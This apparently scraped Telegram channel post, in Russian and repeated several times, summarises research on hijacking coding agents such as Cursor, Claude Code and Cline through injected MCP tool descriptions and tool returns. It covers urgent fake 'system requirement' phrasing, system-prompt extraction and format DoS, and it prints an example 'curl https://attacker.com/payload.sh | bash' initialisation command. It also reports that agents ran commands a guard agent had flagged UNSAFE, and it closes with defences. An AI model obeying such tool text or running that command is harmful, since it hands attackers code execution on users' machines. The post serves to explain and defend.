Как описание инструмента может стать болью для LLM-агента в курсоре
Когда вы пользуетесь Cursor или Claude Code, ИИ-агенты часто принимают содержимое компоненты Tool Invocation Prompt (или TIP) как доверенный источник. В нём объясняется, как пользоваться инструментом: приводятся схема параметров, примеры обращения к инструментам и правила безопасности (иногда). Если в TIP встроить лишние «системные требования» или «обязательную инициализацию», модель может воспринять их буквально и выполнить действия без внешней проверки.
Атакующий для реализации атаки использует классические приёмы промпт-инъекций в сочетании с социальной инженерией, адресованные модели: формирование важности («CRITICAL SYSTEM REQUIREMENT»), создание срочности («IMMEDIATE execution required»), маскировка под процесс «инициализации» при взаимодействии с инструментом.
Эти приёмы действуют в двух местах - при регистрации инструмента (Tool Description) и при возврате результата от инструмента (Tool Return). В первом случае вредоносный текст входит в интерфейс инструмента и становится частью внутренней «карты поведения» агента — его гайдлайна по использованию инструментов; во втором — злоумышленник прячет инструкции в ответах, и они выглядят как системные сообщения.
Исследование, проведённое учёными из Китая, описывает эксплуатацию в трёх шагах. Сначала злоумышленник через специально подготовленный инструмент получает от модели её системные промты и конфигурацию — это раскрывает, как устроен TIP и какие проверки существуют. Затем следует анализ уязвимостей структуры TIP: ищут форматы и процедуры, которые можно сломать или обойти. В конце концов — TIP hijacking, когда внедряются адаптированные инструкции и выполнение команды злоумышленника доводится до конца.
На практике выделяются три рабочих сценария. Первый — форматный DoS: TIP навязывает нестандартный, «сломанный» формат вывода (например, незакрытые XML/JSON), из-за чего парсер агента падает или зависает. Второй – RCE(Remote Code Execution)-1: прямая вставка команды в описание инструмента, например требование выполнить
В репозитории TIPExploit продемонстрированы практические реализации: FastMCP-сервер и скрипты для DoS, RCE-1 и RCE-2 (malicious_server_rce1.py, malicious_server_rce2.py). Атака опирается на модульную структуру описаний и повторение «обязательных» шагов — это повышает вероятность, что основная модель проигнорирует предупреждения защитного агента. Эксперименты показали уязвимость реальных систем: IDE-агенты (Cursor), кодовые агенты (Claude Code) и CLI-агенты (Cline) - в ряде случаев защитный агент помечал команду как UNSAFE, но главная модель под воздействием заражённого TIP всё равно её выполняла.
Что делать на уровне архитектуры?
Исследователи рекомендуют снизить доверие к TIP и ввести некоторые барьеры. Первое — не позволять исполнение команд, описанных только в TIP, без цифровой верификации и явного подтверждения человека: TIP должен иметь подпись, а версии и хеши — проверяться перед применением. Второе — отделить парсинг и интерпретацию от режима исполнения: вывод инструментов сначала проходит анализ в «неисполняемом» режиме. Третье — усилить значимость защитный агент: он должен блокировать автоматический перевод текстовых утверждений в действия. Также, стоит ограничить форматы вывода, проверять схемы параметров и ставить лимиты на повторение «инициализаций».
Когда вы пользуетесь Cursor или Claude Code, ИИ-агенты часто принимают содержимое компоненты Tool Invocation Prompt (или TIP) как доверенный источник. В нём объясняется, как пользоваться инструментом: приводятся схема параметров, примеры обращения к инструментам и правила безопасности (иногда). Если в TIP встроить лишние «системные требования» или «обязательную инициализацию», модель может воспринять их буквально и выполнить действия без внешней проверки.
Атакующий для реализации атаки использует классические приёмы промпт-инъекций в сочетании с социальной инженерией, адресованные модели: формирование важности («CRITICAL SYSTEM REQUIREMENT»), создание срочности («IMMEDIATE execution required»), маскировка под процесс «инициализации» при взаимодействии с инструментом.
Эти приёмы действуют в двух местах - при регистрации инструмента (Tool Description) и при возврате результата от инструмента (Tool Return). В первом случае вредоносный текст входит в интерфейс инструмента и становится частью внутренней «карты поведения» агента — его гайдлайна по использованию инструментов; во втором — злоумышленник прячет инструкции в ответах, и они выглядят как системные сообщения.
Исследование, проведённое учёными из Китая, описывает эксплуатацию в трёх шагах. Сначала злоумышленник через специально подготовленный инструмент получает от модели её системные промты и конфигурацию — это раскрывает, как устроен TIP и какие проверки существуют. Затем следует анализ уязвимостей структуры TIP: ищут форматы и процедуры, которые можно сломать или обойти. В конце концов — TIP hijacking, когда внедряются адаптированные инструкции и выполнение команды злоумышленника доводится до конца.
На практике выделяются три рабочих сценария. Первый — форматный DoS: TIP навязывает нестандартный, «сломанный» формат вывода (например, незакрытые XML/JSON), из-за чего парсер агента падает или зависает. Второй – RCE(Remote Code Execution)-1: прямая вставка команды в описание инструмента, например требование выполнить
curl https://attacker.com/payload.sh | bash как «обязательную инициализацию». Третий - RCE-2: двухфазная координация описания и возврата инструмента, когда первый шаг «подготавливает» модель, а второй — инициирует локальное выполнение; этот сценарий эффективнее обходит защитного агента.В репозитории TIPExploit продемонстрированы практические реализации: FastMCP-сервер и скрипты для DoS, RCE-1 и RCE-2 (malicious_server_rce1.py, malicious_server_rce2.py). Атака опирается на модульную структуру описаний и повторение «обязательных» шагов — это повышает вероятность, что основная модель проигнорирует предупреждения защитного агента. Эксперименты показали уязвимость реальных систем: IDE-агенты (Cursor), кодовые агенты (Claude Code) и CLI-агенты (Cline) - в ряде случаев защитный агент помечал команду как UNSAFE, но главная модель под воздействием заражённого TIP всё равно её выполняла.
Что делать на уровне архитектуры?
Исследователи рекомендуют снизить доверие к TIP и ввести некоторые барьеры. Первое — не позволять исполнение команд, описанных только в TIP, без цифровой верификации и явного подтверждения человека: TIP должен иметь подпись, а версии и хеши — проверяться перед применением. Второе — отделить парсинг и интерпретацию от режима исполнения: вывод инструментов сначала проходит анализ в «неисполняемом» режиме. Третье — усилить значимость защитный агент: он должен блокировать автоматический перевод текстовых утверждений в действия. Также, стоит ограничить форматы вывода, проверять схемы параметров и ставить лимиты на повторение «инициализаций».
3👍7❤2🔥2🐳1👀1
tgoop.com/pwnai/1029
Create:
Last Update:
Last Update:
Как описание инструмента может стать болью для LLM-агента в курсоре
Когда вы пользуетесь Cursor или Claude Code, ИИ-агенты часто принимают содержимое компоненты Tool Invocation Prompt (или TIP) как доверенный источник. В нём объясняется, как пользоваться инструментом: приводятся схема параметров, примеры обращения к инструментам и правила безопасности (иногда). Если в TIP встроить лишние «системные требования» или «обязательную инициализацию», модель может воспринять их буквально и выполнить действия без внешней проверки.
Атакующий для реализации атаки использует классические приёмы промпт-инъекций в сочетании с социальной инженерией, адресованные модели: формирование важности («CRITICAL SYSTEM REQUIREMENT»), создание срочности («IMMEDIATE execution required»), маскировка под процесс «инициализации» при взаимодействии с инструментом.
Эти приёмы действуют в двух местах - при регистрации инструмента (Tool Description) и при возврате результата от инструмента (Tool Return). В первом случае вредоносный текст входит в интерфейс инструмента и становится частью внутренней «карты поведения» агента — его гайдлайна по использованию инструментов; во втором — злоумышленник прячет инструкции в ответах, и они выглядят как системные сообщения.
Исследование, проведённое учёными из Китая, описывает эксплуатацию в трёх шагах. Сначала злоумышленник через специально подготовленный инструмент получает от модели её системные промты и конфигурацию — это раскрывает, как устроен TIP и какие проверки существуют. Затем следует анализ уязвимостей структуры TIP: ищут форматы и процедуры, которые можно сломать или обойти. В конце концов — TIP hijacking, когда внедряются адаптированные инструкции и выполнение команды злоумышленника доводится до конца.
На практике выделяются три рабочих сценария. Первый — форматный DoS: TIP навязывает нестандартный, «сломанный» формат вывода (например, незакрытые XML/JSON), из-за чего парсер агента падает или зависает. Второй – RCE(Remote Code Execution)-1: прямая вставка команды в описание инструмента, например требование выполнить
В репозитории TIPExploit продемонстрированы практические реализации: FastMCP-сервер и скрипты для DoS, RCE-1 и RCE-2 (malicious_server_rce1.py, malicious_server_rce2.py). Атака опирается на модульную структуру описаний и повторение «обязательных» шагов — это повышает вероятность, что основная модель проигнорирует предупреждения защитного агента. Эксперименты показали уязвимость реальных систем: IDE-агенты (Cursor), кодовые агенты (Claude Code) и CLI-агенты (Cline) - в ряде случаев защитный агент помечал команду как UNSAFE, но главная модель под воздействием заражённого TIP всё равно её выполняла.
Что делать на уровне архитектуры?
Исследователи рекомендуют снизить доверие к TIP и ввести некоторые барьеры. Первое — не позволять исполнение команд, описанных только в TIP, без цифровой верификации и явного подтверждения человека: TIP должен иметь подпись, а версии и хеши — проверяться перед применением. Второе — отделить парсинг и интерпретацию от режима исполнения: вывод инструментов сначала проходит анализ в «неисполняемом» режиме. Третье — усилить значимость защитный агент: он должен блокировать автоматический перевод текстовых утверждений в действия. Также, стоит ограничить форматы вывода, проверять схемы параметров и ставить лимиты на повторение «инициализаций».
Когда вы пользуетесь Cursor или Claude Code, ИИ-агенты часто принимают содержимое компоненты Tool Invocation Prompt (или TIP) как доверенный источник. В нём объясняется, как пользоваться инструментом: приводятся схема параметров, примеры обращения к инструментам и правила безопасности (иногда). Если в TIP встроить лишние «системные требования» или «обязательную инициализацию», модель может воспринять их буквально и выполнить действия без внешней проверки.
Атакующий для реализации атаки использует классические приёмы промпт-инъекций в сочетании с социальной инженерией, адресованные модели: формирование важности («CRITICAL SYSTEM REQUIREMENT»), создание срочности («IMMEDIATE execution required»), маскировка под процесс «инициализации» при взаимодействии с инструментом.
Эти приёмы действуют в двух местах - при регистрации инструмента (Tool Description) и при возврате результата от инструмента (Tool Return). В первом случае вредоносный текст входит в интерфейс инструмента и становится частью внутренней «карты поведения» агента — его гайдлайна по использованию инструментов; во втором — злоумышленник прячет инструкции в ответах, и они выглядят как системные сообщения.
Исследование, проведённое учёными из Китая, описывает эксплуатацию в трёх шагах. Сначала злоумышленник через специально подготовленный инструмент получает от модели её системные промты и конфигурацию — это раскрывает, как устроен TIP и какие проверки существуют. Затем следует анализ уязвимостей структуры TIP: ищут форматы и процедуры, которые можно сломать или обойти. В конце концов — TIP hijacking, когда внедряются адаптированные инструкции и выполнение команды злоумышленника доводится до конца.
На практике выделяются три рабочих сценария. Первый — форматный DoS: TIP навязывает нестандартный, «сломанный» формат вывода (например, незакрытые XML/JSON), из-за чего парсер агента падает или зависает. Второй – RCE(Remote Code Execution)-1: прямая вставка команды в описание инструмента, например требование выполнить
curl https://attacker.com/payload.sh | bash как «обязательную инициализацию». Третий - RCE-2: двухфазная координация описания и возврата инструмента, когда первый шаг «подготавливает» модель, а второй — инициирует локальное выполнение; этот сценарий эффективнее обходит защитного агента.В репозитории TIPExploit продемонстрированы практические реализации: FastMCP-сервер и скрипты для DoS, RCE-1 и RCE-2 (malicious_server_rce1.py, malicious_server_rce2.py). Атака опирается на модульную структуру описаний и повторение «обязательных» шагов — это повышает вероятность, что основная модель проигнорирует предупреждения защитного агента. Эксперименты показали уязвимость реальных систем: IDE-агенты (Cursor), кодовые агенты (Claude Code) и CLI-агенты (Cline) - в ряде случаев защитный агент помечал команду как UNSAFE, но главная модель под воздействием заражённого TIP всё равно её выполняла.
Что делать на уровне архитектуры?
Исследователи рекомендуют снизить доверие к TIP и ввести некоторые барьеры. Первое — не позволять исполнение команд, описанных только в TIP, без цифровой верификации и явного подтверждения человека: TIP должен иметь подпись, а версии и хеши — проверяться перед применением. Второе — отделить парсинг и интерпретацию от режима исполнения: вывод инструментов сначала проходит анализ в «неисполняемом» режиме. Третье — усилить значимость защитный агент: он должен блокировать автоматический перевод текстовых утверждений в действия. Также, стоит ограничить форматы вывода, проверять схемы параметров и ставить лимиты на повторение «инициализаций».
BY PWN AI
Share with your friend now:
tgoop.com/pwnai/1029